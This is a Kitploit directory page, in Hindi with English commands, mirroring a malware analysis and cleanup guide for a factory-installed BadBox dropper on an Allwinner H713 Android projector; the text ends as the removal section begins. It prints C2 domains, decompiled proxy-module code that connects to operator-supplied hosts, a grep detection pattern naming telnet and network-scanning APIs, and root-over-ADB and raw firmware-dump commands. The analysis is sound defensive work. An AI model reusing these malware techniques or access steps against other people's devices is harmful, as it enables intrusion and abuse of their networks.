Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
badbox-h713-projector — Allwinner H713 Android प्रोजेक्टर पर BadBox मैलवेयर के लिए विश्लेषण और सफाई गाइड: ADB एक्सेस, संक्रमण प्रमाण, फर्मवेयर बैकअप, ड्रॉपर हटाना, और सत्यापन। | Kitploit
उपकरण/GitHubGitHub/florentineprinzessinzusachsen/badbox-h713-projector
एंड्रॉइड सुरक्षाएम्बेडेड सिस्टम सुरक्षाIoT सुरक्षारिवर्स इंजीनियरिंगजानकारी एकत्र करनामालवेयर विश्लेषणडिजिटल फोरेंसिकमोबाइल सुरक्षाहार्डवेयर और IoT सुरक्षा

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
घटना प्रतिक्रिया
फर्मवेयर विश्लेषण
GitHubflorentineprinzessinzusachsen/badbox-h713-projector

badbox-h713-projector

Allwinner H713 Android प्रोजेक्टर पर BadBox मैलवेयर के लिए विश्लेषण और सफाई गाइड: ADB एक्सेस, संक्रमण प्रमाण, फर्मवेयर बैकअप, ड्रॉपर हटाना, और सत्यापन।

रिपॉजिटरी देखें
1191 दिन पहलेअभी तक समीक्षित नहीं

Wielo / Atongmu मैलवेयर प्रोजेक्टर: BadBox विश्लेषण और सफाई (AT-M269 / H713)

26 सितम्बर, 2026 · @R

एक सस्ता Android प्रोजेक्टर (Wielo / Atongmu AT-M269, Allwinner H713) एक सिस्टम-स्तरीय ड्रॉपर के साथ आता है जो इसे एक आवासीय प्रॉक्सी नोड में बदल देता है। यह दस्तावेज़ दिखाता है कि केस खोले बिना अंदर कैसे पहुँचें, संक्रमण को कैसे साबित करें, फर्मवेयर का बैकअप कैसे लें, मैलवेयर को कैसे हटाएँ और परिणाम को कैसे सत्यापित करें।

1. डिवाइस

बदलते ब्रांडों के तहत बिकने वाला बिना नाम का LCD प्रोजेक्टर। बोर्ड और फर्मवेयर कई H713 प्रोजेक्टरों (HY300 क्लोन और अन्य) में साझा हैं, इसलिए यहाँ सब कुछ व्यापक रूप से लागू होता है।

PropertyValue
Sold asWielo Smart Projector, model AT-M269 (FCC ID 2BAAR-AT-M269D)
ManufacturerShenzhen Atongmu Technology; firmware and apps from OEM "ASHD"
Hardware revisionpersist.sys.cm.hardversion = AT-M269_720P_HP_202410221430
SoCAllwinner H713M (ro.boot.hardware = sun50iw12p1), quad Cortex-A53; board exdroid, platform ares
RAM / storage1 GB DDR @ 576 MHz / 8 GB eMMC (7,818,182,656 bytes)
Wi-Fi / BluetoothAIC8800 (aic8800d80, driver rwnx 6.4.3.0)
KernelLinux 5.4.99, 32-bit (armv7l), built 8 Dec 2025
Real buildh713m_tuna_p3-user 11 RP1A.201005.006 eng.work3.20251208.154308 release-keys, firmware H713M-android11-v1.0, build host ishang-PC
OSAndroid 11 (SDK 30), user build, security patch 2022-02-05
DisguiseReports itself as Google ADT-3 (brand/model/device, manufacturer askey); real model in ro.product.model2 = AT-M269
Partitions / bootVirtual A/B, active slot _b, dynamic partitions (retrofit) in super; AVB 2.0, vbmeta.device_state = locked, verifiedbootstate empty; OEM unlock not allowed; /system 100% full
Securityro.debuggable=1, ro.adb.secure=0, service.adb.root=1, ADB on tcp/5868, SELinux permissive, privapp permissions permissive, AOSP test keys
Region defaultsTimezone Asia/Shanghai, DTV area cn / DTMB

Read the identity yourself

adb shell getprop ro.product.model # ADT-3 <- spoofed, to pass Google certification adb shell getprop ro.product.model2 # AT-M269 <- real model adb shell getprop ro.board.platform # ares, H713 platform name adb shell getprop ro.build.type # user <- release build

root@kitploit:~
## 2. अंदर जाएँ

ADB नेटवर्क पर, एक गैर-मानक पोर्ट पर, बिना किसी प्राधिकरण संकेत और रूट अधिकारों के साथ सुन रहा है।```
# 1. Find open ports (projector on an isolated network)
nmap -p- 10.56.215.10
#   5868/tcp open   <- nmap guesses "diameters"; it is actually adbd

# 2. Confirm from the device side (e.g. via Termux on the projector)
getprop service.adb.tcp.port   # 5868
getprop ro.adb.secure          # 0    -> no "allow debugging?" prompt
getprop init.svc.adbd          # running

# 3. Connect from a computer
adb connect 10.56.215.10:5868
adb root
adb shell id                   # uid=0(root)

ADB के माध्यम से काम करते समय लैंप बंद करें```

adb shell 'echo adb_keepalive > /sys/power/wake_lock' # keep CPU/Wi-Fi awake (needs root adbd) adb shell cat /sys/power/wake_lock # adb_keepalive must be listed adb shell input keyevent KEYCODE_SLEEP # display + lamp off, ADB stays connected

when done

adb shell input keyevent KEYCODE_WAKEUP # lamp on adb shell 'echo adb_keepalive > /sys/power/wake_unlock' # release the wakelock

root@kitploit:~
`/sys/class/backlight/tv` > `brightness`/`bl_power` का कोई प्रभाव नहीं पड़ता।

## 3. संक्रमण श्रृंखला

दो पूर्व-स्थापित सिस्टम ऐप्स system उपयोगकर्ता (UID 1000) के रूप में चलते हैं। एक लोडर डाउनलोड करता है, लोडर चार प्रॉक्सी मॉड्यूल और एक दूसरा, स्वतंत्र लोडर डाउनलोड करता है।```
Firmware (preinstalled, UID 1000)
├─ com.android.sysapp          /system/priv-app/AshdSysApp
│    OTA updater, can replace the whole firmware (update.zip / payload.bin)
│    C2: wjtysj.ishanghd.com/hx_kt.php
│
└─ com.android.umanalytics.yiyou /system/app/AndroidAnalytics_yiyou
     Dropper; Umeng + Baidu tracking
     └─ downloads cache/plugin.jar       (DEX, from *.ishanghd.com)
          ├─ app installer: pulls app lists per device profile, pm install -r
          │    └─ installs Disney+ etc. and com.google.adtest (payload)
          └─ "hs" task loader, C2 api.loritor.cc / api.nizero.cc, every 6 h
               └─ 4 encrypted modules  code_cache/.hs/.file/.rf/*.rf
                    SKN0041 com.ad.proxy   SKN0054 com.szns.sdk
                    SKN0058 com.link.core  SKN0061 ddth2 (VpsSdk)
                    -> all four: residential proxy clients

com.google.adtest (/data/app, installed by yiyou)
     Second loader "com.speed", own C2 (api.logobi.cc, api.pechlo.cc, ...)
     Native plugin loader, may install/delete packages -> backup channel

> अजनबियों का इंटरनेट ट्रैफ़िक आपके कनेक्शन से होकर गुज़रता है, और आपका डिवाइस ट्रैक किया जाता है (सीरियल, MACs, Wi-Fi SSID/BSSID)।

4. फ़ैक्टरी स्तर के संक्रमण का प्रमाण

a) प्रॉक्सी-जैसा ट्रैफ़िक: एक प्रोसेस, कई विदेशी कनेक्शन```bash

adb shell "netstat -tnp | grep ESTABLISHED"

tcp6 ... ::ffff:43.116.39.73:188 ESTABLISHED 4795/com.android.umanalytics.yiyou

tcp6 ... ::ffff:198.44.189.x:9200 ESTABLISHED 4795/com.android.umanalytics.yiyou

... ~25 lines, same process, many IPs, odd ports

-> an "analytics" app does not hold 25 parallel sessions: this is a proxy node

root@kitploit:~
### **ख) किसने क्या इंस्टॉल किया**```bash
adb shell pm list packages -i | grep -v 'installer=null\|com.android.vending'
# package:com.google.adtest       installer=com.android.umanalytics.yiyou  <- payload
# package:com.disney.disneyplus   installer=com.android.umanalytics.yiyou  <- cover
#  -> a system "analytics" app installing packages = dropper

adb shell dumpsys package com.google.adtest | grep -E 'codePath|firstInstallTime'
#  fake Google name, lives in /data/app, installed silently

c) ड्रॉपर के डेटा फ़ोल्डर में पेलोड फ़ाइलें```bash

adb shell 'ls -laR /data/data/com.android.umanalytics.yiyou' | grep -E 'plugin.jar|.rf|files/apps'

cache/plugin.jar <- downloaded loader (DEX)

code_cache/.hs/.file/.rf/-1.dex_assdk_huang_SKN00xx.rf <- 4 encrypted modules

files/apps/com.google.adtest.apk <- stored payload for reinstall

directories are chmod 777

root@kitploit:~
### **d) सिस्टम-स्तरीय सेटअप**```bash
adb shell getprop ro.product.model
# ADT-3 (spoofed)
adb shell dumpsys package com.android.sysapp | grep sharedUser
# android.uid.system  -> runs with system privileges
adb shell dumpsys package com.android.sysapp | grep -E 'INSTALL_PACKAGES|RECOVERY|MASTER_CLEAR'
# unnamed OEM app that may install apps, flash firmware and wipe the device
adb shell cat /system/etc/init/qw.rc
# service qw /system/bin/qw --daemon  user root

e) फैक्ट्री बिल्ड के दिन मैलवेयर चला

मैलवेयर सीधे फर्मवेयर में बनाया गया है। बिल्ड तिथि eng.work3.20251208.154308 है, कर्नेल को Mon Dec 8 15:27:38 CST 2025 पर कंपाइल किया गया था। yiyou के रिकॉर्ड दिखाते हैं कि यह उसी दिन चल रहा था:```

baidu_mtj_sdk_record.xml (yiyou data)

session_recent_visit: [{"day":20251208,"count":1}, {"day":20260910,...}, ...]

first recorded run = 8 Dec 2025, the day the firmware was built

ua.db (yiyou's Umeng session table), timestamps column __f

1765179258896 -> 2025-12-08 07:34 UTC = 15:34 CST, ~7 min after the kernel build

root@kitploit:~
### **f) विक्रेता-हस्ताक्षरित, रीड-ओनली सिस्टम इमेज में मैलवेयर**

कोई उपयोगकर्ता या बाद में आने वाला ऐप `/system` में फ़ाइलें नहीं डाल सकता। यह `super` का हिस्सा है, जो dm-verity द्वारा सुरक्षित और `vbmeta` के माध्यम से हस्ताक्षरित है।

## 5. मैलवेयर आर्किटेक्चर अवलोकन

### 5.1. मुख्य घटक

| घटक                               | स्थान                        | यह क्या करता है                                                                                                  |
| --------------------------------- | ---------------------------- | --------------------------------------------------------------------------------------------------------------- |
| `com.android.umanalytics.yiyou`   | `/system/app`, UID 1000      | `plugin.jar` डाउनलोड और चलाता है; Umeng/Baidu को सीरियल, MACs, android_id, Wi-Fi SSID/BSSID, Bluetooth MAC भेजता है |
| `plugin.jar` (DEX)                | yiyou `cache/`               | दो भाग: ऐप इंस्टॉलर (प्रति-डिवाइस ऐप सूचियाँ, H713/RK3326/HY300 के लिए 40+ प्रोफ़ाइल) और "hs" टास्क लोडर    |
| "hs" टास्क लोडर                   | `plugin.jar` के अंदर         | हर 6 घंटे में C2 को `jar`, `dex` या `apk` प्रकार के टास्क के लिए पोल करता है; डाउनलोड, MD5 जाँच, निष्पादन                     |
| SKN0041 `com.ad.proxy`            | `.rf` मॉड्यूल                | TCP/UDP/ICMP टनलिंग, हार्टबीट, साइन-इन/रिपोर्ट                                                              |
| SKN0054 `com.szns.sdk`            | `.rf` मॉड्यूल                | प्रॉक्सी नोड और आपके नेटवर्क से UDP स्कैनिंग                                                                  |
| SKN0058 `com.link.core`           | `.rf` मॉड्यूल                | अपने स्वयं के DNS रिज़ॉल्वर के साथ प्रॉक्सी क्लाइंट                                                                         |
| SKN0061 `ddth2` / VpsSdk          | `.rf` मॉड्यूल                | प्रॉक्सी गेटवे, कई समानांतर क्लाइंट इंस्टेंस                                                                   |
| `com.google.adtest` ("com.speed") | `/data/app`                  | नेटिव प्लगइन लोडर के साथ दूसरा लोडर; पैकेज इंस्टॉल/डिलीट करता है; बूट, नेटवर्क, HDMI, पावर इवेंट पर पुनः आरंभ होता है |
| `com.android.sysapp`              | `/system/priv-app`, UID 1000 | OTA अपडेटर: पूर्ण फर्मवेयर इमेज डाउनलोड और फ्लैश कर सकता है                                                       |
| Widevine फ़ाइलें                    | `/data/mediadrm/IDM1013/L3/` | `plugin.jar` एक DRM कुंजी/लाइसेंस बंडल छोड़ता है ताकि स्ट्रीमिंग ऐप्स अन-सर्टिफाइड डिवाइस पर चल सकें                     |

### 5.2. टुकड़े कैसे छिपे रहते हैं```
# C2 hostnames are not in plain text: gzip + Base64 + AES-CFB with a hardcoded key.
#   decrypted: api.loritor.cc (master), api.nizero.cc (slave)
# DNS is resolved via DNS-over-HTTPS (dns.google, cloudflare-dns.com, doh.pub, 223.5.5.5)
#   -> router DNS blocking alone misses it
# .rf module layout (per file):
#   [version][...][salt:32 bytes][invocation: AES][module: AES][DSA signature]
#   invocation = {"cn":"com.hotota.p.d.MainApi","m_init":"start_W00xx","m_uninit":"stop"}
#   module     = an APK whose classes.dex is loaded with DexClassLoader
# Modules are signed, so only the operator can push new ones.

5.3. ट्रैकिंग क्या भेजती है```

shared_prefs/info.xml wifiinfo: ssid, bssid, device MAC, IP; blueinfo: BT MAC; accelerometer samples shared_prefs/umeng_*.xml appkey 61c17582e014255fcbc1a9af, channel ashd-analytics umeng_general_config.xml first_activate_time = 2 Mar 2026, successful_request = 218 hs.prefs_1.xml periods=21600 (6 h), last.trackerid = SKN0061

root@kitploit:~
### 5.4. पार्श्विक गति

**कोई स्वचालित पार्श्विक गति नहीं, लेकिन LAN में प्रवेश का द्वार**

> लेकिन **SKN0041** और **SKN0058** गेटवे द्वारा नामित किसी भी लक्ष्य तक रिले करते हैं, और SKN0041 कमांड पर इसे पिंग भी कर सकता है। प्रॉक्सी किराए पर लेने वाला कोई भी व्यक्ति मैन्युअल रूप से LAN तक पहुँच सकता है या उसमें जाँच कर सकता है।

- `plugin.jar`
- डिक्रिप्टेड `.rf` मॉड्यूल SKN0041/54/58/61
- `com.google.adtest`, yiyou, sysapp
- `com.android.nfx` (NFXAccessibility)
- नेटिव: `qw`, `systemmixservice`, `libsystemmix_jni.so`, `libsystemmixservice.so````bash
grep -rlE 'ServerSocket|DatagramSocket|MulticastSocket|NetworkInterface|getDhcpInfo|/proc/net/arp|239\.255\.255\.250|224\.0\.0\.251|:5555|telnet|isReachable|NsdManager|JmDNS|UPnP|Cling|SSDP|WifiP2pManager|getBroadcast|broadcastAddress|SubnetMask|prefixLength|getLinkAddresses|InterfaceAddress' analysis/decompiled/*/sources
grep -rlE 'Runtime\.getRuntime\(\)\.exec|ProcessBuilder' analysis/decompiled/*/sources
root@kitploit:~
|| str.matches("^192\\.168\\..*") || str.matches("^127\\..*")

// no 169.254.0.0/16 clause and no IPv6 form here, a link-local or IPv6 LAN target slips through

// SKN0061 ddth2/hidden/F.java - InetAddress's own range checks, covers link-local and IPv6 too !a.isAnyLocalAddress() && !a.isLoopbackAddress() && !a.isLinkLocalAddress() && !a.isSiteLocalAddress() && !a.isMulticastAddress()

// SKN0041 com/ad/proxy/b/Q.java - "url init" command: fetches any URL, no check InetAddress byName = InetAddress.getByName(host); createSocket.connect(new InetSocketAddress(byName, port), 10000);

// SKN0058 com/link/core/a/e.java - connects to the server-supplied address, no check this.c.connect(new InetSocketAddress(inetAddress, this.d));

root@kitploit:~
SKN0041 का पूरा कमांड सेट, `com/ad/proxy/b/a0.java` डिस्पैच टेबल से:

| Opcode | Handler    | क्या करता है                                                                               |
| ------ | ---------- | ---------------------------------------------------------------------------------- |
| 1 / 2  | U / V      | heartbeat request / response                                                       |
| 3      | W          | ऑपरेटर-आपूर्ति किए गए host:port पर एक raw TCP कनेक्शन खोलता है, कोई पता जाँच नहीं     |
| 5 / 7  | X / Y      | एक खुले ट्रांजैक्शन पर tcp send / close                                            |
| 8      | Z          | ऑपरेटर-आपूर्ति किए गए host:port पर एक raw UDP सत्र खोलता है, कोई पता जाँच नहीं        |
| 11     | K          | udp close                                                                          |
| 12     | L → P.java | ऑपरेटर-आपूर्ति किए गए होस्ट पर `ping -c 10 <host>` चलाता है, पूरा आउटपुट वापस भेजता है |
| 14     | M → Q.java | ऑपरेटर-आपूर्ति किए गए URL को फ़ेच करता है, कोई जाँच नहीं                                         |

इनमें से कोई भी opcode IP रेंज के आधार पर फ़िल्टर नहीं करता।

`plugin.jar` वीडियो री-स्ट्रीम सर्वर (`com.cloudmedia.tv.server.d`, एक NanoHTTPD फोर्क जो Aiqiyi/Youku/CIBN स्ट्रीम रीराइट्स सर्व करता है) बिना कोई होस्ट सेट किए बाइंड करता है, जिसका अर्थ है सभी इंटरफ़ेस, LAN-पहुँच योग्य, केवल localhost नहीं, यदि यह शुरू होता है। इसका एकमात्र एंट्री पॉइंट `ParserUtils.AnalyticsHelper()` है, जो `getprop ro.board.platform == "rk3188"` के पीछे है। यह यूनिट `ares` (H713) रिपोर्ट करती है, इसलिए गेट बंद रहता है।

लाइव डिवाइस स्थिति: `netstat -tnp` केवल लूपबैक स्क्रीन-कास्ट (`com.android.toofifi` `127.0.0.1:5354` पर), IPv6 पर Google को GMS, और ADB सत्र दिखाता है। कोई `yiyou`, `sysapp`, `speed`, `umanalytics` या `adtest` प्रोसेस चल नहीं रहा है।

`systemmixservice` का Binder इंटरफ़ेस (root के रूप में मनमाना फ़ाइल पढ़ना/लिखना/हटाना और प्रॉपर्टी-सेट, डिवाइस पर किसी भी ऐप द्वारा पहुँच योग्य) एक स्थानीय प्रिविलेज-एस्केलेशन है। ड्रॉपर को हटाना और अविश्वसनीय APK इंस्टॉल न करना इसे बंद कर देता है।

## 6. संकेतक

नेटवर्क संकेतक (डोमेन, URL, IP) [section 11](#11-consolidated-hosturl-list-for-abuse-reports) में हैं।

### 6.1. पैकेज

| Package                                                         | Location                                                | Role                                                             |
| --------------------------------------------------------------- | ------------------------------------------------------- | ---------------------------------------------------------------- |
| `com.android.umanalytics.yiyou`                                 | `/system/app/AndroidAnalytics_yiyou`, UID 1000 (system) | dropper                                                          |
| `com.android.sysapp` (AshdSysApp)                               | `/system/priv-app/AshdSysApp`, UID 1000 (system)        | OTA-channel backdoor                                             |
| `com.google.adtest` (real name `com.fotas.wanapp`, "com.speed") | `/data/app`                                             | second loader                                                    |
| `com.cloudmedia.testapk`                                        | `/system/app`                                           | OEM factory test app, removed alongside the dropper in section 8 |
| `com.disney.disneyplus`                                         | `/data/app`                                             | cover app installed by the dropper                               |
| `com.android.nfx`                                               | `/system/priv-app/NFXAccessibility`                     | kept, harmless (Netflix remote-control helper)                   |

### 6.2.बाइनरीज़

| Binary                                                                             | Init service                                                                          | What it does                                                                                                                                                                                                                                                                                  |
| ---------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `/system/bin/qw`                                                                   | **`qw`**: `class core`, `user root`, runs permanently from boot                       | Superuser/ClockworkMod su daemon (opens `/dev/com.koushikdutta.superuser` + `.daemon` sockets).                                                                                                                                                                                               |
| `/system/bin/appsdisable`                                                          | **`appsdisable`**: triggered `on property:sys.boot_completed=1`, `disabled`+`oneshot` | After a 4 s sleep on boot (`settings ... global start_disable`), finds every installed package with a `BOOT_COMPLETED` receiver whose component starts with `com.google.android` and `pm disable`s it to kill Google's own boot-time checks like Play Protect scanning and GMS core services. |
| `/system/bin/gmsopt`                                                               | **`gmsopt`**: same trigger and flags as appsdisable                                   | Same disable-Google-boot-receivers behavior as appsdisable but excluding `com.google.android.permissioncontroller`. Redundant.                                                                                                                                                                |
| `/system/bin/systemmixservice` (+ `libsystemmix_jni.so`, `libsystemmixservice.so`) | **`systemmix`**: `class main`, `user root`, `oneshot`                                 | OEM native? Purpose not fully determined but is root group.                                                                                                                                                                                                                                   |

### 6.3. फ़ाइलें और निर्देशिकाएँ

| Path                                                                                                                                                                          | What                                                     |
| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------- |
| `/data/data/com.android.umanalytics.yiyou/cache/plugin.jar`                                                                                                                   | downloaded "hs" loader / app-installer DEX               |
| `/data/data/com.android.umanalytics.yiyou/code_cache/.hs/.file/.rf/*.rf`                                                                                                      | encrypted proxy modules (SKN0041/54/58/61)               |
| `/data/data/com.android.umanalytics.yiyou/files/apps/com.google.adtest.apk`                                                                                                   | stored payload copy for silent reinstall                 |
| `/data/data/com.android.umanalytics.yiyou/files/libcuid.so`                                                                                                                   | device-ID helper native library                          |
| `/data/data/com.android.umanalytics.yiyou/databases/ua.db`                                                                                                                    | Umeng session DB                                         |
| `/data/data/com.android.umanalytics.yiyou/shared_prefs/{info.xml, umeng_*.xml, hs.prefs_1.xml, hs.cuid.v1.xml, vps_sdk_prefs.xml, Plugin.xml, baidu_mtj_sdk_record.xml, ...}` | tracking/config prefs                                    |
| `/data/data/com.android.sysapp/shared_prefs/SHARE.xml`                                                                                                                        | OTA download-state prefs                                 |
| `/data/mediadrm/IDM1013/L3/`                                                                                                                                                  | dropped Widevine L3 DRM bundle                           |
| `/data/local/tmp/*`, `/data/ota_package/tmp/*`                                                                                                                                | scratch/leftover space used by the loader and OTA client |

### 6.4. नमूना हैश

| Sample                          | SHA-256                                                            |
| ------------------------------- | ------------------------------------------------------------------ |
| `plugin.jar`                    | `e2e5f86df18e0cdef9595bd886280f158001250f1565fa3e6dfe492b114be6f7` |
| SKN0041 (decrypted)             | `d7b26e53ade1cfcd283bfbbc5de7f792e8f8d441d74162eeef7e8a7c83ed5dba` |
| SKN0054 (decrypted)             | `ba3b320791b80dae25d07e17e43d4b11b5c5a0d8b989fdb4a7f47ccb39201307` |
| SKN0058 (decrypted)             | `60ade80fcd0a1c5bb3f62e76cd056b0e8034fdbe1e9834c335c0e60d99d12742` |
| SKN0061 (decrypted)             | `fcffed775c6d6967bd40e4fa5b529f9fd301b3ebd64a555c756943d1e863fea7` |
| `com.google.adtest.apk`         | `1298662eb6d087aa1e6f967d50581e998b5897ec1563bdf96589540845874110` |
| `AndroidAnalytics_yiyou.apk`    | `c4910d6fa666eff03bdc683423f7f2585cb263f8dcbf5f1fe7a1e2643eb384aa` |
| `AshdSysApp.apk`                | `f9cd44d359c9b0c92ddb8b868665a3e8edd54a19cc21a35fb2fba7dbdf36bb5a` |
| `L3.zip` (Widevine bundle)      | `8367725743c27ed1fd49d5eb086e7b260cfcf38a825a8892ce31b45e767e228f` |
| `favorite.ico` (SKN0054 config) | `8d64d2982f8f5cb01ad1bbce53861e09eae2884fe8c545ac9023b636c8f5ffa2` |

## 7. बैकअप

इस मॉडल के लिए कोई फर्मवेयर प्रकाशित नहीं लगता, और रिवर्स इंजीनियर किया गया विक्रेता OTA सर्वर भी कुछ नहीं लौटाता।```
# Simple one-shot dump (fine over USB; over Wi-Fi it can stall)
adb exec-out "dd if=/dev/block/mmcblk0 bs=4M 2>/dev/null" > mmcblk0.img
adb shell 'ls /dev/block/mmcblk0boot*'      # eMMC boot areas, dump them too if present

Wi-Fi पर, हेल्पर स्क्रिप्ट्स का उपयोग करें

  1. dump-pull.sh [ip:port|usb] [file] आकार जाँच और पुनः प्रयास के साथ 256 MB के टुकड़ों में खींचता है। इसे दोबारा चलाने पर यह अंतिम पूर्ण टुकड़े से आगे जारी रहता है। पढ़ने से पहले, यह /data को background_gc=off,nodiscard के साथ रीमाउंट करता है, सिंक करता है और 10 सेकंड प्रतीक्षा करता है। USB पर यह adb shell stop भी चलाता है। बाहर निकलने पर दोनों पूर्ववत कर दिए जाते हैं (रीमाउंट background_gc=on,discard, start)। UDISK /data है और लाइव रहता है, इसलिए इसका हैश प्रत्येक रन में भिन्न हो सकता है।
  2. dump-verify.sh [ip:port|usb] [file] [-y] आकार, GPT हेडर, बूट क्षेत्रों और प्रत्येक पार्टीशन की जाँच करता है (डिवाइस SHA-256 बनाम इमेज में समान बाइट रेंज)। यह किसी भी बेमेल अनुभाग को पढ़ता और पैच करता है। सफल पास पर यह mmcblk0.img.sha256 लिखता है।```

What the partition check does, per partition

p=$(adb shell readlink /dev/block/by-name/super | xargs basename) # e.g. mmcblk0p9 s=$(adb shell cat /sys/block/mmcblk0/$p/start) # start sector (512 B) z=$(adb shell cat /sys/block/mmcblk0/$p/size) # size in sectors adb shell sha256sum /dev/block/by-name/super # hash on the device tail -c +$((s512+1)) mmcblk0.img | head -c $((z512)) | shasum -a 256 # same range in the image

userdata, metadata, misc change while Android runs: a mismatch there is expected

root@kitploit:~
### पुनर्स्थापना पथ

Allwinner FEL में जाएँ, फिर USB-A से USB-A केबल पर PhoenixUSBPro के साथ फ्लैश करें।

FEL में बूट करने के लिए कोई बाहरी पिनहोल नहीं है: `adb reboot efex` या `fastboot oem efex`।

संभावित हार्डवेयर फ़ॉलबैक: बोर्ड पर FEL पैड, जो FCC आंतरिक फ़ोटो में दिखाई देता है (केस खोलना आवश्यक है)। फ्लैशिंग के लिए एक IMAGEWTY `update.img` चाहिए, जो आपके डंप से `awimg.py` ([well0nez/magcubic-root](https://github.com/well0nez/magcubic-root)) और एक H713 टेम्पलेट के साथ बनाया जाता है।

FEL केवल लिखने के लिए है। PhoenixSuit और PhoenixUSBPro eMMC को वापस पढ़ नहीं सकते, और `sunxi-fel` में H713 के लिए कोई SRAM लेआउट नहीं है, केवल रीड-ओनली कमांड काम करते हैं ([sunxi-tools #226](https://github.com/linux-sunxi/sunxi-tools/issues/226))।

ऊपर दिया गया ADB डंप बैकअप विधि बना हुआ है।

### **बूट मोड**

यूनिट A/B (`ro.build.ab_update=true`) है और स्लॉट `_b` सक्रिय है। कोई `recovery` पार्टीशन नहीं है: recovery बूट रैमडिस्क में रहता है। U-Boot सीरियल कंसोल `ttyS0` है 115200 बॉड पर।

| मोड            | कैसे प्रवेश करें                                                                                                 | स्तर                 | स्थिति                                                                                      |
| --------------- | ------------------------------------------------------------------------------------------------------------ | --------------------- | ------------------------------------------------------------------------------------------- |
| Android         | सामान्य पावर-ऑन, `adb reboot`                                                                                | kernel                | काम करता है                                                                                       |
| Recovery        | `adb reboot recovery`                                                                                        | boot ramdisk          | काम करता है, मेनू नीचे                                                                           |
| fastbootd       | recovery मेनू: Enter fastboot                                                                                | recovery में userspace | प्रवेश करता है                                                                                      |
| U-Boot fastboot | recovery मेनू: Reboot to bootloader, या `adb reboot bootloader`                                              | U-Boot                | काम करता है (macOS को नीचे दिया गया फ़िक्स चाहिए)                                                           |
| U-Boot efex     | U-Boot fastboot से `fastboot oem efex`, या `adb reboot efex` (U-Boot में एक `ir-efex` रिमोट ट्रिगर भी है) | U-Boot                | `fastboot oem efex` के माध्यम से और `adb reboot efex` के माध्यम से काम करता है: `1f3a:efe8`, FEL हैंडशेक जवाब देता है |
| BootROM FEL     | FEL टेस्ट पैड                                                                                                 | SoC BootROM           | अप्रयुक्त                                                                                    |

### **Recovery मेनू:**

- Reboot system now
- Reboot to bootloader
- Enter fastboot
- Apply update from ADB
- Apply update from SD card
- Wipe data/factory reset
- Mount /system
- View recovery logs
- Run graphics test
- Run locale test
- Enter rescue
- Power off

### **USB पर ADB**

USB0 (`ohci0`) लेने वाला सॉकेट डिफ़ॉल्ट रूप से host के रूप में चलता है। यह अगले रीबूट तक device मोड में स्विच हो जाता है:```
adb shell cat /sys/devices/platform/soc@2900000/soc@2900000:usbc0@0/usb_device
adb -d shell id

U-Boot fastboot का पता नहीं चला

गैजेट 1f3a:1010 ("USB Developer") के रूप में दिखाई देता है, और इसका इंटरफ़ेस मानक fastboot ff/42/03 है। हालाँकि, इसका डिवाइस क्लास ff है, ऑपरेटिंग सिस्टम (यहाँ macOS) कॉन्फ़िगरेशन सेटअप नहीं कर पाता और fastboot devices खाली रहता है।

अगर ऐसा होता है तो इसका समाधान pyusb के साथ एक बार कॉन्फ़िगरेशन सेट करना है, फिर fastboot को सामान्य रूप से उपयोग करें:```

one-time setup

brew install libusb python3 -m venv ~/venvs/fastboot source ~/venvs/fastboot/bin/activate pip install pyusb

each time the projector is in U-Boot fastboot

source ~/venvs/fastboot/bin/activate python3 -c 'import usb.core; usb.core.find(idVendor=0x1f3a,idProduct=0x1010).set_configuration()' fastboot devices

root@kitploit:~
### **FEL/efex**

U-Boot fastboot से, `fastboot oem efex` efex गैजेट `1f3a:efe8` पर स्विच करता है। (शायद उसी `set_configuration()` फिक्स की आवश्यकता होगी)

**स्रोत से Sunxi-tools बिल्ड**```
# one-time: build sunxi-fel
brew install libusb dtc pkg-config
git clone https://github.com/linux-sunxi/sunxi-tools
cd sunxi-tools && make sunxi-fel
sudo cp sunxi-fel /usr/local/bin/   # optional, else call ./sunxi-fel

# enter efex and check the handshake (read-only)
fastboot oem efex
source ~/venvs/fastboot/bin/activate
python3 -c 'import usb.core; usb.core.find(idVendor=0x1f3a,idProduct=0xefe8).set_configuration()'
sunxi-fel --list --verbose
sunxi-fel version

AWUSBFEX soc=00001860(unknown) 00000001 ver=0001 44 08 scratchpad=00121500 00000000 00000000.
केवल version और --list का उपयोग करें, कभी भी spl, uboot, write या exe का नहीं, क्योंकि sunxi टूल्स चिपसेट को नहीं पहचानते।

FEL से बाहर निकलने के लिए, पहले USB अनप्लग करें, फिर तब तक पावर ऑफ करें जब तक प्रोजेक्टर पर नीली LED बंद न हो जाए। SoC डेटा के बिना wdreset काम नहीं करता।

8. सफाई

8.1. साक्ष्य का बैकअप```

mkdir -p evidence && cd evidence adb shell getprop > getprop.txt adb shell pm list packages -f -i -U > packages.txt adb shell "netstat -tnp" > netstat.txt adb shell 'ls /system/etc/init /vendor/etc/init' > init-files.txt

APKs of the suspicious apps

adb pull /system/app/AndroidAnalytics_yiyou adb pull /system/priv-app/AshdSysApp adb pull "$(adb shell pm path com.google.adtest | cut -d: -f2)" adtest.apk

Complete app data incl. hidden folders (plugin.jar, .rf modules, prefs)

adb exec-out 'tar -cf - /data/data/com.android.umanalytics.yiyou /data/data/com.android.sysapp' > appdata.tar tar -tvf appdata.tar | grep -E '.jar|.rf|.apk|.xml' # check nothing is missing find . -type f -exec shasum -a 256 {} + > ../SHA256SUMS

root@kitploit:~
### 8.2. हटाना```
# System apps (UID 1000): cannot be deleted from /system without a firmware rebuild.
# Stop, disable, wipe data for user 0 -> inert for the running system, survives reboots.
